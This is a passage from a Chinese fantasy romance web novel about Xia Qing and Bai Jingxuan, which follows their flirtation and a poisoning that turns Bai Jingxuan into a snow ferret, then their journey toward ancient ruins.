夏清收紧胳膊搂住白镜玄,脑袋贴过去,将脸颊没入白镜玄腰身,牢牢抱住。 此举出其不意,白镜玄不明白夏清闹哪出:“你怎么了?” 夏清脸贴在白镜玄小肚子上磨蹭,呼吸间蹭满白镜玄身上淡淡的紫藤花香,这才瓮声瓮气地说:“头还有点晕,要卿卿亲亲抱抱才能好。” 白镜玄被闹得腰间发痒,闻言下意识抬头瞧了眼天色,随即耳根泛起薄红:“别胡闹,天都亮了。” “天亮了就不能亲亲抱抱了吗?”夏清扬起脸来,故意捏着嗓子娇里娇气地说。 此番药瓶儿丢了,必得得罪魔族,白镜玄又不知道什么时候会恢复记忆,夏清怀抱一种,伸头一刀,缩头也是一刀,反正死路一条的信念,该她占的便宜全占了再说。 对上夏清水汪汪的眼神,白镜玄不知想到什么,脸愈发红了。 夏清双眼亮晶晶充满渴望地望向她:“卿卿?” 白镜玄侧头躲开夏清的视线,夏清黏糊糊地追上去:“卿卿日前还与我海誓山盟,这才过去多久,就抱都不给抱了?” “……”白镜玄无语,“瞎说什么呢?” “你现在就是不让我抱啊,也不给亲。”夏清一边抱着不撒手,一边还倒打一耙,“我不是你的心肝宝贝了吗?我没人要了吗?呜呜呜呜呜……唔。” 夏清闹到一半,声音戛然而止。 馨香扑面,湿润柔软的触感覆盖她的嘴唇,堵住了后续的抱怨。 一个吻轻轻柔柔地落下来,白镜玄嗫咬夏清的唇,似惩罚某些人小心思多不听话。 夏清愣了一瞬便合上眼,松开唇齿接纳白镜玄的吻。 主动索取与被动接受是两种不一样的感受,属于白镜玄的香气如一壶烈酒,灌得夏清头晕眼花,一阵阵莫名的悸动撞击她的心口,令她呼吸加速,血液沸腾,止都止不住。 白镜玄向来克制,这一吻浅尝辄止,待她起身退开,仅眼角处沾染了一点绯色,夏清则是整张脸爆红,像一只被蒸熟的螃蟹。 这样的反差感令夏清羞得忍不住捂住脸,抿起唇。 她也太给现代人丢脸了。 分明是她主动挑起的事端,现在却被白镜玄亲一下就头晕目眩,手脚发软。 见她如此,白镜玄眼神暗下去,伸手逗猫似的挑起她的下巴。 随即,一言不发,又吻下来。 夏清:“?!” 她还没调整好呢! 但要躲已来不及了,彼此力量悬殊,夏清顷刻间就被白镜玄制住。 这一吻比方才更加炽烈,逼得夏清节节后退,直至后背轻轻撞击桌沿,退无可退。 夏清被吻得丢盔弃甲,险些就要求饶。 幸而白镜玄点到为止松开了她。 白镜玄只手捧着夏清的脸,拇指指腹轻柔地抚过她的唇角,眼里笑意清浅:“还闹不闹了?” 夏清心跳快得像打鼓,喘得又快又急。 差点以为她要在一个吻里窒息。 对上白镜玄好笑的眼神,夏清腮帮子鼓起来,嘟囔:“已老实,再不敢了。” 听她这么说,又瞧见她一副赌气的表情,白镜玄眼底的笑倏然化开。 然后她忽然倾身,再次吻过来。 夏清:“!” 太快了,来不及躲。 轻盈的吻柔风似的落在夏清脸颊,一触即走。 白镜玄笑吟吟地起身,揉了揉夏清的脑袋,柔声哄她:“好些了吗?” “……好,好些了。”夏清扭扭捏捏。 哎哟,有人宠也太好了吧。 夏清感觉自己都快长出恋爱脑了。 白镜玄这才退开,手掌一翻,干净整洁的衣裳刹那间凭空出现在她手中。 “来,清儿,更衣。”她将衣服抖抖散开,示意夏清起身穿衣,“然后我们去外面走。” 夏清非常自然地站起身,抬起两条胳臂让白镜玄帮她穿衣服,闻言挑了挑眉,故意挤兑:“祭司大人今儿有空闲啦?” 前几日天天往外跑,忙得人影都见不着。 白镜玄闻言好笑:“我若再无空闲,怕我的小仙侣收拾包裹离家出走。” 圣宫中的事情总算告一段落,兽人大典的筹备自有女皇去操心,至于圣坛那边的事务,也会有人去管,白镜玄不必插手。 如此,她便有时间陪陪夏清。 这话说者无心,听者有意,夏清差点被自己的口水呛到,尴尬地清了清嗓子。 内心唏嘘:这倒还……真不是不可能。 夏清穿好了衣服,白镜玄细致温柔地替她抚平衣领。 正好一道柔亮的阳光照亮白镜玄的身影,她半侧脸颊映照在柔光中,一丝不苟的墨发轮廓莹莹闪闪,像镶了一圈金边。 夏清心头痒酥酥的。 趁白镜玄不备,她步子一错,身子朝前探去。 蜻蜓点水地在白镜玄性感的薄唇上偷了一个香。 无论亲多少次,夏清心里总忍不住喟叹:触感真好。 白镜玄眼尾轻挑,无奈却纵容地睨她一眼。 夏清摇头晃脑:“这叫礼尚往来。” 说完,她率先溜走,蹦蹦跳跳地跑出房间。 白镜玄在她身后缓缓跟上。 夏清缓步踱过小花园,感叹岁月静好,如果能一直这么好,人生该省却多少烦恼。 但这是不可能的,因为人会贪心。 她现在觉得这样好,是源于生活的不安定,如果当真安稳下来,她和白镜玄一直这样相亲相爱,那肯定会滋生出别的欲望。 “在想什么?” 拂过耳边的声音像一阵温柔的风。 夏清嘴巴快过脑子,脱口而出:“怪不得人会饱暖思淫。欲。” 说完,她猛地停下脚步。 她意识到这句话好像有歧义。 白镜玄也停下来,夏清清晰看见对方眼里掠过一抹诧异。 夏清:“……” “不是,其实我没有……”夏清手忙脚乱,试图狡辩。 “我明白。”白镜玄点头。 夏清眼皮猛地颤了颤,心觉不妙,问她:“你明白啥了?” 白镜玄开口,言简意赅:“清儿欲求不满了。” 夏清:“!!!” 你不要一本正经说这种话好不啦! 第26章 第二十六章 夏清心一横, 死猪不怕开水烫:“就,就算是这样,喜欢和你贴贴有错吗?” 这句话说得很有气势, 夏清觉得肯定能反将白镜玄一军。 “当然没有。”不料白镜玄如此回答, “我也喜欢清儿, 若能与清儿一刻都不分开就好了。” 夏清:“!!!” 啊, 白镜玄怎么做到如此一本正经还这么直白这么坦诚的! 相比之下,她竟感觉自己矫揉造作, 被白镜玄的段位轻易碾碎。 造作就造作,夏清脑子转得飞快,要不要趁此机会哄白镜玄答应自己什么? 要一张免死金牌, 还是……一个夜夜笙歌为所欲为的承诺? 可惜, 哪一个都没来得及开口。 碰—— 旁边的庭院中传来异样的响动,夏清和白镜玄同时扭头。 夏清疑惑:“什么情况?” 倏然,她腰身一紧。 白镜玄揽住她, 一个晃眼,周围环境变换,她们已来到一处安静雅致的庭院中。 花园里,柳菡云手中玉扇展开, 呈防备姿态站在屋门前,似乎正与谁搏斗。 见得夏清二人出现,柳菡云大惊,高声提醒:“小心!” 话音未落, 夏清眼角捕捉到一道白影,与此同时, 尖利的咆哮夹裹腥风猛扑过来。 白镜玄身影一侧,与夏清移形换位, 抬袖一扫,与来物相撞。 轰—— 那白影力量之大,竟将白镜玄震退半步。 但白镜玄修为高深,应对也十分迅速,当即并指成剑,反手甩出一道剑光。 那剑光如闪电般划过虚空,顷刻间没入白影大张的血盆之口。 白影遭受重击,在空中倒翻了个跟头才轰隆一声落地,瞧它模样,该是某种凶兽。 此兽个头没有多大,与一只猫体型相仿,长得狐狸不像狐狸,猫也不像猫。 夏清老老实实当个气氛组,在旁高声鼓掌:“六六六!” 在蛮荒这地方,论战斗力,白镜玄若称第二,当世应该无人敢居第一。 夏清根本不担心自己会不会受伤。 白镜玄放下夏清,见柳菡云快步走来,遂问:“怎么回事?” 柳菡云瞧了眼不远处的凶兽尸体,也是一脑门子雾水:“我也不知道,今晨我准备出门,它就突然出现袭击我,要不是我躲得快,只怕现在已经成它肚子里的口粮了。” 白镜玄沉吟,祭司殿内外有两层阵法,这种凶兽照理说是不可能进来的。 她走到那怪物尸体面前,手掌泛起莹莹白光,仔细查验一番,疑惑道:“异兽?” “异兽?”柳菡云颇为震惊,“魔族的异兽怎么会出现在这里?” 相传魔族有特殊的手段,能改变普通野兽的生理结构,激发它们的战斗野性,将其驯养成异兽。 夏清心里一咯噔。 魔族?祭司殿里还有魔族卧底? “不是魔族的异兽。”白镜玄摇了摇头,“此兽本体应该是一只猫,却不知因何缘故异化成如此模样。” 柳菡云站在白镜玄身侧,认真推断:“这种程度的异化应该不是偶然。” “不错。”白镜玄起身,若有所思,“我会将此事禀告女皇,让她多做防范。” 兽人大典将近,种种是非层出不穷,一波未平,一波又起,不知道什么人暗中作祟。 夏清在旁安静站着不敢搭腔。 因为她想起了昨夜丢失的小瓶子。 那里面装的东西,会不会就是造成小猫咪异化成怪物的元凶? 可那玩意儿是魔族用来针对白镜玄的,他们应该是想杀了白镜玄才对。 或许只是巧合呢。 夏清默念往生咒替小猫咪超度了,接下来一整天心中总有不好的预感。 这种感觉自她从噩梦种惊醒就一直萦绕着她,虽未掐诀卜卦,但冥冥中,夏清直觉,毒药的事情不会那么轻易结束。 不知道什么时候就会东窗事发,夏清心想还是早些离开圣宫为妙,但她必须抱紧白镜玄这条大腿。 于是,她思量一番,打好腹稿后,叫住柳菡云。 柳菡云扭头:“夏师妹,何事?” 夏清遂道:“师姐,兽人大典这边我们也帮不上什么忙,江师妹还等着金灵草救命……” “嗯,师妹所言极是。”柳菡云点点头,“所以待会儿我就去找圣女问清金灵草的下落,向女皇陛下辞行。” 夏清心说甚好,喜上眉梢:“那我这就去收拾包裹,顺便……” 诱拐,不,劝说一下白镜玄。 岂料,柳菡云下一句又说:“你就不用收拾了,我自己一个人去。” 夏清:“???” 柳菡云感觉一道刀子似的视线在自己后背刮来刮去,都要刮掉一层皮了,遂清了清嗓子:“师妹啊,你就在圣宫待着好好养伤,我找到金灵草再回来寻你!” 不是,等等! 柳菡云哪根神经搭错了?! 她们一块儿来的蛮荒,而且是柳菡云邀请她在先。 否则她怎么会跑到蛮荒来,还给自己惹了那么大一个麻烦?! 这时,白镜玄的声音若无其事地飘过来,钻进夏清耳朵里:“清儿,你想去找金灵草?” 夏清陡然一个激灵。 想起来,她先前给白镜玄的理由是来蛮荒寻卿卿。 如果非要追着柳菡云去找金灵草,岂不是不打自招? 夏清悬崖勒马,找补道:“多个人多份力嘛。” 柳菡云哈哈笑开:“没关系,我一个人就够了!游刃有余!” 夏清翻她一个白眼:下蛮荒之前你可不是这样说的。 柳菡云说走就走,当天问清金灵草的下落立马就整装出发,夏清算盘落空,肩膀一耷,十分沮丧。 总还能有别的法子,夏清心想,先走一步看一步。 是夜,夏清坐在床边琢磨着事儿,连白镜玄何时靠近都没有发现。 “清儿这两日总爱出神。”白镜玄在她身边坐下,语气轻缓,“又在想什么呢?” 夏清信口胡诌:“这圣宫里太无聊了,想着怎样才能把你哄走。” 白镜玄闻言,忍俊不禁:“你想把我哄走?哄到哪里去?” “随便哪里都可以。”夏清张口就来,“天为被,地为床,走到哪里睡到哪里,流浪天涯,不是很浪漫吗?” “天为被,地为床……”白镜玄琢磨着,眼神中多了点兴味,“似乎也不错。” 听她这么说,夏清感觉多了点希望:“你也觉得好是吧?那要不……” “明日的事情明日再说。” 白镜玄打断夏清,不由分说,倾身过来,将夏清抱了个满怀。 夏清:“?” 扭头,对上一双深邃的眸子。 夏清恍然意识到什么:“……卿卿?” 白镜玄对夏清如此迟钝的反应略有不满,低头惩罚性地咬一口夏清的耳尖。 嘶。 夏清脖子一缩,肩膀颤了颤,耳朵尖过电似的阵阵发麻。 白镜玄怎么这么爱咬人呢? 见夏清要躲,白镜玄牢牢搂着她,语带笑意却故作委屈:“白日里清儿才说喜欢这般,怎么这么快就不作数了?” 哎呀,故意放软的嗓音更显低沉,钩子似的抓挠夏清的心。 夏清骨头都快麻了。 这女人显然很懂得自己的魅力,同时也擅长蛊惑人心。 “哪有不作数。”夏清嘟囔着,“你太突然了,我,我这不是没准备好嘛。” 她下意识按住白镜玄的手,却意外于指尖异样的触感,低头一看,分外震惊:“你受伤了?” 白镜玄倒是不甚在意,摆了摆手:“一点小伤,无须担心。” 夏清霎时就想到白日里那只凶猛的异兽,没想到那怪物这般厉害,竟然能伤得到白镜玄。 伤口确实不大,但却没有结痂,以白镜玄的修为来说,委实不同寻常。 惴惴不安的直觉又出现了。 夏清低头看着白镜玄手背上的伤,眉头紧锁。 下一瞬,耳朵尖又被咬一口。 “唔。”夏清喉咙里溢出一声呜咽,无奈瞪回白镜玄,“干嘛又咬我?” 白镜玄抽回手,指尖托起夏清的下巴:“因为清儿不专心。” 被白镜玄这双美眸注视着,什么烦恼都能被驱散。 当清冷美人不清冷,真的很勾人。 夏清立马将旁的事情抛诸脑后,如白镜玄所言,明日之事,明日再想。 哪怕明天就要世界末日,海啸山崩,死到临头,今夜,她也要沉迷放纵。 与白镜玄对视须臾,夏清扬起脑袋吻回去。 白镜玄自然配合,两道身影紧紧相拥,吻得难解难分。 她们彼此身上的衣衫也在不觉间悄然剥落,不知是谁先动手,双双滚倒在床。 不多时,房间里响起晦涩的呓语声。 夏清很喜欢和白镜玄接吻,鼻息间环绕着紫藤花的清香,贴得越近,就越能清晰感受到实实在在的温暖。 吻得迷迷糊糊,夏清脑子里还溜空想道:白镜玄脖颈间这种自然而然散发的香味,跟一些小说里描写的信息素一样。 折腾半宿,夏清累到近乎昏迷,沾着枕头就睡着了。 夜深人静时分,夏清感觉有什么东西在怀里动来动去。 “卿卿……” 她嘴上呢喃着,伸手去搂睡在身旁的人。 人没摸到,入手是另外一种柔软光滑的触感。 是某种动物的皮毛。 夏清霎时惊醒。 睁眼,借着窗外月光,她看见一只白色的小动物趴在她怀里。 夏清醒来,这只小动物也醒了。 于是,一大一小两双眼睛,四目相对。 夏清一脸懵逼。 雪,雪貂? 小家伙长得憨态可掬,毛茸茸,短手短脚的。 它刚睡醒,眼神呆呆的,顿了须臾,十分人性化地抬起小爪子揉揉眼睛。 爪子上,一道尚未愈合的伤口清晰可见。 夏清联想到白天的遭遇,如遭雷击。 “……卿,卿卿?” 老天奶啊!!! 第27章 第二十七章 一觉睡醒起来天倒是没塌, 但现在的情况比天塌了还要可怕。 白镜玄,那位紫霄峰上叱咤风云,翻手为云覆手为雨的镜玄仙尊, 变成了一只毛茸茸! 夏清脑子嗡嗡响了一阵, 犹自不可思议, 于是她闭上眼躺好, 重睡一下试试。 可能是她睁眼的方式不对。 夏清合上眼,胸前的毛茸茸却动起来。 它小身子往前蹿, 鼻尖凑近夏清的下巴,小脑袋贴着夏清的脸颊,找了个舒服的位置继续睡。 温暖的鼻息吹拂在夏清脖颈间, 痒得受不了。 夏清倏地起身, 将小家伙从身上拎起来:“你还睡,睡什么呀,看看现在什么情况了!” 小雪貂被拎了后脖颈, 又惨遭夏清大小声,圆溜溜的黑豆眼瞪得更圆了,神态竟十分委屈。 片刻后,它似乎这才发现自己身上的变化。 看看夏清, 再低头看看自己的身体,大受震惊。 忽然,小东西脑袋一歪,没了声。 夏清:“……” 这是晕过去了, 还是装死呢? 冷静,冷静, 这里是书中世界,世界观奇特。 蛮荒大地上连兽人都有, 人变小动物这种事,也不奇怪吧? “不奇怪个鬼哦!”夏清接受不了一点。 她和白镜玄的感情才稍微有了一些些的进展,啪,大活人变成了小雪貂。 和大美人夜夜笙歌的美梦就此破碎,谁来赔偿她的损失! “白镜玄,你醒一醒!”夏清用力摇晃雪貂小小的身体。 对着人形都没了的白镜玄,夏清实在没办法再张口喊卿卿。 过了一会儿,雪貂悠悠转醒,眼底尽是茫然。 对上夏清的目光,小家伙呜咽一声,钻进夏清怀里。 “啊啊啊!!”夏清爆发惨叫,她还没有穿衣服! 她眼疾手快按住在怀里乱动的小东西,飞快跳下床,用堪比军训的速度闪电般裹好衣裳。 回头,被她留在床铺上待着的白毛小动物不见了。 夏清:“?” 尺来长的小动物和人可不一样,眼下夜深人静,天光未亮,哪儿哪儿它都能藏。 “白镜玄?”夏清喊她,在屋里左右转转,“你躲哪儿去了?” 不多时,一颗小脑袋从被褥后钻出来,眼神幽幽地望着夏清。 夏清看见它,松了口气:“原来藏被子下面去了。” 她朝床铺走去,作势要掀被子,那颗小脑袋又嗖地一声钻回去藏起来。 夏清一把掀开床上的被褥,白毛小动物暴露在月光下。 但没等夏清伸手抱它,它便从床上一跃而下,钻进床底下。 夏清懵逼:“躲我?” 她弯腰往床底下看,见那白色的小家伙蜷成一小团,缩在床底角落里,模样怪可怜的。 哎哟。夏清霎时心软。 回想起刚才她一系列应激表现,只怕白镜玄被她的反应伤了心。 夏清盯着床底的毛团团,那小东西感觉到气氛安静下来,还透过小爪子悄悄瞄夏清一眼。 不过,看见夏清还在,它又把脑袋埋下去。 夏清换位思考,如果是她自己因故变成小动物,而白镜玄对她表现出一丁点儿的嫌弃,她一定立马离家出走。 更何况,白镜玄变成现在这样,大概率是因为她。 因为她带回祭司殿的那瓶不翼而飞的毒药,也因为今晨那变异凶兽出现时白镜玄为了保护她抬手挡那一下。 夏清做了深刻的自我反思。 人还是不能那么自私,现在出现了问题,就得想办法解决。 她深吸一口,朝床下的小雪貂伸手:“过来。” 小家伙闻声抬头看了她一眼,然后哼地把脑袋撇开。 嘶。夏清心窝子被狠狠戳了一下。 白镜玄是什么绝世大可爱,平时那么高冷一个人,生气也只是闷闷的,这会儿变成小雪貂,顿时加了两百倍的可爱buff。 夏清对待白镜玄的心理霎时就发生了变化。 先前总是小心翼翼,生怕一言不合就被白镜玄提剑砍咯,而此刻面对看到白镜玄变成小小一团缩在床底下,好像忽然间看见白镜玄原来也有脆弱的一面。 她不是没有弱点,也不是真的完美无缺。 这反而让夏清感觉白镜玄更真实,也更容易亲近。 夏清压低身子,柔声开口:“我没有嫌弃你,我只是有点惊讶,你快出来,我们一起想想办法。” 话音落下,小家伙抬起头,圆溜溜的眼睛看过来,与夏清的视线在空中交汇。 它脸上没什么表情,也没立即行动,似乎在审视夏清话语中真诚的分量。 夏清轻唤:“卿卿。” 这两个字像一把钥匙,迟疑许久的小雪貂终于动了,嗖嗖爬出床底,奔向夏清。 夏清终于抱到它。 小身子软软的,皮毛细腻光亮,摸起来手感柔软又顺滑。 夏清心里暗啧一声,这皮毛保养得真好。 抱着小雪貂坐在床沿边,夏清双手托着他,摸摸它的脑袋,安抚它的同时也安抚自己。 事已至此,夏清内心迅速开启自适应疗愈大法,梳理清楚当下的情况。 白镜玄显然是因为受伤,很可能伤口感染了毒素才会异变成小动物。 不知道这个状况严不严重,还会不会继续恶化,像那只猫一样发疯发狂变成怪物? 想到这一层可能,夏清打了个寒战。 不会的不会的,镜玄仙尊法力如此高强,怎么可能这么容易就失控。 圣女变成朱雀也还能恢复成人身,这个世界神奇的东西数不胜数,她们一定能找到解毒的办法。 夏清深吸一口气,压下内心的恐惧,摸摸雪貂小脑袋,小声说道:“等天亮我们就去圣宫找兽人女皇,问问她有没有什么办法让你恢复。” 小雪貂从夏清怀里抬头,小脑袋点了点,似乎在回应夏清这句话,表示它没有异议。 夏清被它逗笑了,她居然透过这只雪貂看到白镜玄一本正经的样子。 她捏一把它的小鼻子:“你这样还怪可爱的。” 小雪貂脑袋往后缩,鼻子皱起来,好像不大喜欢夏清这种没大没小以下犯上的动作。 但白镜玄都这个样子了,夏清才不怕她。 她一会儿捏捏小雪貂的鼻子,一会儿又捏捏小雪貂的耳朵。 雪貂小鼻子尖尖的,有点像狐狸,但体型比狐狸小很多,耳朵竟然是圆的。 夏清一捏它就躲,但丁点儿大的小可爱怎么逃得开人类的魔爪,它被夏清翻来覆去摸了个遍。 “我卿卿柔软紧致风情万种的小蛮腰没有了,现在只能摸摸雪貂小肚子当代餐这样子。”夏清的语气不无遗憾。 白镜玄:“……” 好不容易熬到天亮,夏清算着时间带小雪貂出门,朝圣殿赶去。 女皇正在殿上与众兽臣议事,夏清到殿外后没有进去,而是让一名兽侍传话,她要单独面见女皇。 不多时,兽侍从殿内出来,领着夏清到偏殿稍候。 约摸过去半个时辰,偏殿外传来脚步声,夏清扭头望去,便见女皇遣退身边随行兽侍,独自走进偏殿中。 看见偏殿内只有夏清一个人,她下意识抬眸四下打量,不见另一人身影,神色间有失望一闪而过,快得来不及捕捉。 她走近夏清,主动开口:“祭司殿昨天发生的事情我已知晓,夏仙师没有受伤吧?” “我倒是没有受伤。”夏清叹了口气,神情凝重,斟酌着怎么开口。 女皇见状,面露疑惑之色。 她还以为夏清和柳菡云一样,是来向她辞行的,但看样子并非如此。 事实上,对于夏清没有和柳菡云一同离开,兽人女皇内心多少感觉有点奇怪。 不料,夏清开口道:“受伤的是祭司大人。” “什么?!”女皇震惊。 昨天她见到祭司时还好好的,怎么就受伤了? 随即,夏清从怀里掏出小雪貂,捧起来拿给女皇看:“祭司变成这样了。” 女皇:“?!” 她和雪貂大眼瞪小眼:“祭司?” 雪貂表情非常严肃地点了两下小脑袋。 女皇表示十分惊讶,看向夏清:“祭司因为受伤变回了原形?” 原形?夏清心里嘀咕,这小雪貂是白镜玄的原形吗?不是变异吗? 果然,小雪貂猛猛摇头。 夏清也分不清什么是原形什么是变异,言简意赅地解释道:“应该是昨天祭司和那恶兽搏斗时,手背上受了伤。” 她一边说着,一边掰动雪貂小爪子,露出未愈合的新伤,同时选择性掠过一些不能为外人道的内容:“我今早见到她,她就是这样。” 女皇仔细看了看雪貂爪子上的伤口,沉吟:“这伤的确古怪,可能需要让圣女来看一看。” 一炷香后,雪貂祭司趴在一块小垫子上,被兽人女皇,兽人圣女,还有夏清,三个人围观。 圣女了解了事件经过,得出结论:“应该是中毒发生了异化,激发了祭司体内的血脉,好在毒素渗入不深,只影响了形态,不会危及性命。” 血脉?夏清好奇,白镜玄身上还有兽人族的血脉? 难怪她要来圣城当祭司呢。 夏清赶忙追问:“有办法恢复吗?” “理论上是有的。”圣女回忆古今典籍,回答道,“但需要一种非常特殊的奇兽之血。” “我去找!”“我派人去寻!” 夏清与女皇同时开口。 两人对视一眼,夏清脑子转了转:“还是我去吧,兽人大典马上开始,圣城* 本来人手就不够。” 言罢,她看向圣女:“你说的奇兽哪里能找到?” “在荒古遗迹。”圣女回答道,“那里……靠近魔渊。” 魔渊。 夏清倒吸一口气。 她有点后悔了,要不还是让女皇派兽卫去找吧,她就不揽这个任务了。 “魔渊……”女皇也沉默下来。 片刻后,她改口:“我派一队兽卫和夏仙师一同去。” 夏清想了想,这些兽卫跟她一起走,一旦遭遇魔族,大抵没几个能活命。 还是算了,夏清叹了口气,别给自己造那么多业。 此事本来就因她而起,也该由她了结。 因此,她坚定地摇了摇头:“不用了,我自己去。” 但白镜玄要留在圣宫,否则一旦遭遇魔族,白镜玄必定置身奇险,而她自己也会有身份暴露的风险。 再说了,白镜玄现在这个样子,自保还成问题,不能算大腿了,反而有可能拖她的后腿。 但她话才刚说完,垫子上的小雪貂嗖地一下就蹿进夏清怀里。 夏清:“……” “这段时间,就先拜托陛下照看祭司大人。”说着,夏清试图把小雪貂从怀里拎出来。 拽了拽,没拽动,她又反手拎住雪貂后脖颈。 但小家伙牢牢抓着夏清的衣襟,力气大得出奇,都快把夏清衣服抓坏了。 它非不肯,夏清无可奈何,只能先摸摸它的脑袋以示安抚,随后朝女皇致歉:“额,不好意思啊,她好像……想跟我走。” 女皇和圣女:“……” 第28章 第二十八章 白镜玄态度坚决, 夏清拿她没办法。 而且,就算强行把她留在圣宫,她估计也会自己溜出来。 夏清本就是妥妥的“事已至此”党, 她从来不会去强求别人改变意愿, 也不会太过抱怨环境, 或是勉强自己。 见小雪貂趴在夏清怀里不出来, 圣女扭头瞧了一眼兽人女皇。 女皇沉吟许久,终于开口:“此事就拜托夏仙师了。” 夏清点头:“行。” 随即, 她便向女皇二人辞行:“没别的事,我就先走了。” “请夏仙师等一等。”女皇出声叫住夏清。 夏清疑惑:“怎么了?” 女皇招来一名侍从,低声吩咐几句, 侍从连连颔首, 随后便快步离去。 等了没多久,此人又走回来,这回他手中抱着一个木匣子。 女皇将木匣接过, 亲自掀开匣盖,交到夏清手中。 夏清探头一瞧,匣子里盛着一把明晃晃的剑。 此剑剑身银亮狭长,刃口锋利, 委实是一把好剑。 夏清眨眨眼:“这是……” 女皇道:“此物赠予仙师,希望仙师此去一路顺利。” 夏清双手抱着木匣子不松手,嘴上客气:“哎呀,这怎么好意思?” 女皇继续劝说夏清收下:“这只是本皇一点心意。” 说着, 她又让侍从递给夏清一大袋黄灿灿的金锭:“这是本皇给夏仙师准备的盘缠。” “太周到了。”夏清见钱眼开,笑得十分开朗, 遂不再推拒,“那就多谢陛下。” 收下宝剑和盘缠, 夏清便带着小雪貂离开圣宫。 她们走后,偏殿内气氛凝重。 女皇扭头看向圣女:“祭司体内的毒,当真不要紧么?” “应当没有大碍。”圣女如实说道,“只要夏仙师能带着奇兽之血回来,我有八成把握驱除祭司体内的余毒。” 但这前提是,夏清得顺利取得奇兽之血,并回到圣宫。 荒古遗迹,这是上古时期,仙魔交战之地。 大战结束之后,仙界与魔界从蛮荒剥离,只留下一片废墟。 许多上古大能的冤魂徘徊于此,其凶险自不必说。 更有甚者,这里还靠近魔渊,也就是通往魔界的入口,时常有妖魔在这一带作祟。 圣女见女皇神色忧虑,想了想道:“祭司大人或许也是担心夏仙师的安危才跟着去的。” 可她眼下这般形态,显然帮不上什么忙。 兽人女皇却摇了摇头,没有说话。 她的确为此事忧心,但这并不是她忧虑的全部。 兽人族才刚与圣女解除合约,紧接着祭司又中了毒,一桩桩一件件的意外打得她措手不及。 她为兽人族的前途感到深深的担忧。 便在这时,女皇眼前稍暗。 她回过神来,见圣女不知何时凑到近前,歪着脑袋自下而上望着她。 距离太近,略有几分别扭,女皇身子向后稍倾,问:“怎么了?” 圣女摆出一副若有所思的表情,苦恼道:“夏仙师此去不知何日能回来,你的愿望有点难度,要不……你换一个?” 女皇:“……” 夏清离开圣宫,按照圣女给的提示去寻找荒古遗迹。 她并不习惯携带宝剑,剑挂在腰间多少是有点影响行动,最终她想了个法子,把剑绑在背上背着。 小雪貂从她怀里钻出来,探头探脑往外瞧。 夏清瞅它一眼,习惯性搭话:“诶,卿卿,你知不知道荒古遗迹在哪里?” 小雪貂闻言,一本正经地点了点头。 她怎么会不知道呢,圣女能有如今的见识除了自身血脉的传承,剩下都是她一手带出来的。 白镜玄这副样子有点可爱得过分了,夏清朝它挤挤眼,又故意问道:“那你为什么非要跟着我出来啊?知不知道荒古遗迹很危险?” 这小萝卜似的身材,铁定是不能自保。 夏清要从被白镜玄保护的金丝雀,升级成小可爱的贴身保镖了。 说这话时,夏清没指望白镜玄能回答她,毕竟它现在又不能说人话。 不料,她话音刚落,小雪貂嗖地一下蹿起来,照着夏清脸颊闪电般亲了一口。 小鼻子凉悠悠的,碰到夏清的脸,倏地将夏清心里一根柔软的弦轻轻拨动。 小雪貂的吻和白镜玄的吻,是两种截然不同的感受。 “哎呀,你也太粘人了。”夏清嘴上嫌弃,脸却凑过去和它再贴一下。 她一路走来没有遇见几个村庄,当天夜里只能暂时露宿荒郊,便找了个能容身的石洞升起一团火,烤着火暂时过一夜。 这场景让她想起不久前和柳菡云一块儿赶路的时候,两个人搭伴儿,路上还能说说话,不像现在,虽然实现了和白镜玄说走就走浪迹天涯的浪漫,但现实和理想还是有着巨大的差别。 “说起来……”夏清怀里抱着小雪貂,轻抚它光滑的皮毛,喃喃低语,“我们是不是该先去找柳师姐?” 柳菡云去寻金灵草,应该也是往这个方向走,她昨日前脚刚刚离开,还没有走太远才对。 小雪貂原被夏清顺毛,抚得昏昏欲睡,闻言倏地扬起脑袋,一脸警惕。 夏清犹自自言自语:“师姐修为比我高,实力比我强,有她在,此行应当更有把握。” 听着夏清如此夸赞柳菡云,小雪貂眼神酸酸的。 但夏清对此毫无觉察,也没有询问白镜玄的意见,干脆果断地拍板:“就这样愉快地决定了!” 小雪貂突然张嘴,咬住夏清的手。 “!”夏清缩手,不可置信,“你咬我干什么?” 小家伙脑袋气呼呼地扭向一边,拿后脑勺对着夏清。 夏清想了想,明白了,白镜玄肯定在气她找外援,这若放在以前,哪里需要找人帮忙,白镜玄自己咔咔就把那些怪物们都宰了。 “小气扒拉的。”夏清忍不住笑,“咱现在战斗力不是不够嘛。” 小雪貂还是扭着头,不搭理夏清。 夏清也不以为意,抓起几截枯枝,往火堆里添了点柴禾。 倏然,怀里雪貂身子竖起来,两只圆圆的小耳朵也立挺挺的,以一个高频的速度摆动,像是在仔细倾听什么。 便在这时,一道巨大的阴影从上空投落,笼罩了夏清。 夏清心中敲响警铃,二话不说一把捞起小雪貂,身形灵巧地往后退,眨眼便退出阴影范围。 下一瞬,黑影从天而降,轰隆一声,砸在夏清刚才休息的地方。 夏清抬头,定睛看去。 出现在她眼前的是一只身形巨大的怪物,这怪物长得像一只大蝎子,但身后有两条尾巴,尾尖弯钩泛着暗暗的紫光。 “长得可真丑。” 夏清咧了咧嘴,心说这要是被蛰一下,恐怕不死也要半身不遂。 蛮荒的怪物确实挺多,夏清早已有所见识,倒没有被这突然出现的双尾蝎吓到。 她立马把小雪貂塞进衣兜里,同时一把抽出身后的宝剑。 宝剑是由很不错的钢材锻造而成,握着还挺压手。 不知是不是被夏清说它丑的评价激怒,毒蝎子落地后迅速调整方向,长尾一甩便朝夏清冲过来。 气势汹汹,它所过之处,地面上掀起一层烟尘,碎散的小狮子四处飞溅。 夏清侧身闪躲,避开蝎子冲锋。 她脚下一旋,已与毒蝎子调换方位,双脚落地站稳,正好在大蝎子正后方。 “好机会!” 夏清看准时机,双手握剑狠狠斩向蝎子的尾钩。 噔—— 锃一声响,夏清虎口发麻,眼睁睁看着宝剑在她手中断成两截。 蝎子的甲壳上出现一道浅浅的凹槽。 夏清:“……” 靠。 蛮荒大舞台,爱拼你就来,只有想不到,没有遇不到。 第29章 第二十九章 犹豫过于吃惊, 夏清愣了一瞬。 便在这时,毒蝎已回过神来,长尾一甩, 泛着紫光的尾钩刺向夏清的咽喉。 小雪貂从夏清怀里跳出来, 后腿一蹬夏清胸口。 夏清被迫后退半步, 避开毒蝎摆尾。 而那白色小毛团团则身子轻盈地在空中灵巧地扭了扭腰, 毫发无伤落地。 转眼间,它又闪电般蹿回来, 熟练而迅速地蹬上夏清肩膀。 夏清侥幸躲过一击,从震惊中回神。 因为太过无语,以及情况紧急所以没功夫生气, 果断干脆将剩下半截断剑扔掉。 蝎尾再一次扫过来, 夏清已有准备,再次抽身退开。 